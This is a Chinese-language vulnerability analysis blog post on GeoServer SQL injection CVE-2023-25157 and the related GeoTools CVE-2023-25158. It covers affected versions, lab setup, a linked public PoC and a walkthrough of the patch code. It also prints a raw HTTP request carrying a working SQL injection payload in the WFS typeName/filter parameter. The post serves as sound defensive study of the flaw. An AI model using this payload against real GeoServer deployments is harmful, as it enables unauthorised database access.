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浅析GeoServer CVE-2023-25157 SQL注入

发表于:2023-06-21 16:16 作者: Ggoodstudy 阅读数(3655人)

简介

GeoServer是一个开源的地图服务器,它是遵循OpenGIS Web服务器规范的J2EE实现,通过它可以方便的将地图数据发布为地图服务,实现地理空间数据在用户之间的共享。

影响版本

geoserver<2.18.7

2.19.0<=geoserver<2.19.7

2.20.0<=geoserver<2.20.7

2.21.0<=geoserver<2.21.4

2.22.0<=geoserver<2.22.2

环境搭建

安装方式有多种可以选择

windwos下载安装

https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download

下载后只需要指定端口直接下载可完成安装

war包安装

tomcat下载地址

https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.90/bin/apache-tomcat-8.5.90-windows-x64.zip

geoserver下载地址

https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.1/geoserver-2.23.1-war.zip

解压下载后的文件geoserver-2.15.1-war.zip,得到geoserver.war

把此geoserver.war文件拷贝到tomcat根目录下的webapps文件夹下。

启动tomcat

访问路径,默认端口为8080,端口根据自己的需求开放即可,这里我开放的端口为8081

http://localhost:8081/geoserver/web/

image-20230619141002243

分析

POC下载链接

https://github.com/win3zz/CVE-2023-25157

python3 CVE-2023-25157.py http://localhost:8081

image-20230619141119088

查看提交的补丁分析一下漏洞

https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d

修改了配置文件src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java

重新添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties模块用于配置文件jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模块

image-20230619173910231

属性字段并更改了构造函数以包含此属性字段。这允许对数据库配置进行更多自定义,从而可能允许增强安全措施。NamedParameterJdbcTemplate是 Spring Framework 提供的一个类,它添加了对使用命名参数对 JDBC 语句进行编程的支持,而不是使用经典占位符 ('?') 参数对 JDBC 语句进行编程

public ConfigDatabase(
           JDBCLoaderProperties properties,
           DataSource dataSource,
           XStreamInfoSerialBinding binding) {
       this(properties, dataSource, binding, null);
  }

   public ConfigDatabase(
           JDBCLoaderProperties properties,
           final DataSource dataSource,
           final XStreamInfoSerialBinding binding,
           CacheProvider cacheProvider) {

       this.properties = properties;
       this.binding = binding;
       this.template = new NamedParameterJdbcTemplate(dataSource);

通过使用参数化查询而不是字符串连接

image-20230619173715798

src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java在插入中做了修改

          //sql.insert(0, "SELECT * FROM (SELECT query.*, rownum rnum FROM (\n");
        //sql.append(") query\n");
          sql.insert(
                  0,
                  "SELECT * FROM (SELECT query.*, rownum rnum FROM ("
                          + (isDebugMode() ? "\n" : ""));
          sql.append(") query");
          appendIfDebug(sql, "\n", " ");

修改了插入语法,其方法在src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java

中定义

 public boolean isDebugMode() {
       return debugMode;
  }

   public void setDebugMode(boolean debugMode) {
       this.debugMode = debugMode;
  }

   /** Escapes the contents of the SQL comment to prevent SQL injection. */
   public String escapeComment(String comment) {
       String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("*\\\\/");
       return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\\\*");
  }

   /** Appends the objects to the SQL in a comment if debug mode is enabled. */
   public StringBuilder appendComment(StringBuilder sql, Object... objects) {
       if (!debugMode) {
           return sql;
      }
       sql.append(" /* ");
       for (Object object : objects) {
           sql.append(escapeComment(String.valueOf(object)));
      }
       return sql.append(" */\n");
  }

   /** Appends the objects to the SQL in an comment if debug mode is enabled. */
   public StringBuilder appendComment(Object sql, Object... objects) {
       return appendComment((StringBuilder) sql, objects);
  }

   /** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
   public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
       return sql.append(debugMode ? ifEnabled : ifDisabled);
  }

获取功能名POC

GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1

image-20230620100405699

获取功能属性POC

GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines&maxFeatures=1&outputFormat=json HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1

image-20230620100747389

构造恶意payload

GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines=strStartsWith%28scalerank%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1

这里引用一张图,geotools的注入漏洞

image-20230620153404216

漏洞编号CVE-2023-25158,查看补丁发现

在类中添加该escapeBackslash字段modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java是一种预防措施,可防止某些形式的 SQL 注入,其中反斜杠字符用于转义 SQL 语法中的特殊字符

  // single quotes must be escaped to have a valid sql string
String escaped = escapeLiteral(encoding);

调用类escapeLiteral()中的方法EscapeSql.java。此方法旨在不仅转义单引号,还转义反斜杠,并可能根据其参数转义双引号

  public static String escapeLiteral(
          String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {
          // ' --> ''
          String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");
          if (escapeBackslash) {
              // \ --> \\
              escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\\\\\");
          }
          if (escapeDoubleQuote) {
              // " --> \"
              escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\\\\"");
          }
          return escaped;

至于为什么会聊到CVE-2023-25158,这里就要聊到GeoserverGeotools的关系了,可以参考这篇文章

https://blog.csdn.net/nmj2008/article/details/113869086

修复方案

升级安全版本,目前已经有最新版本。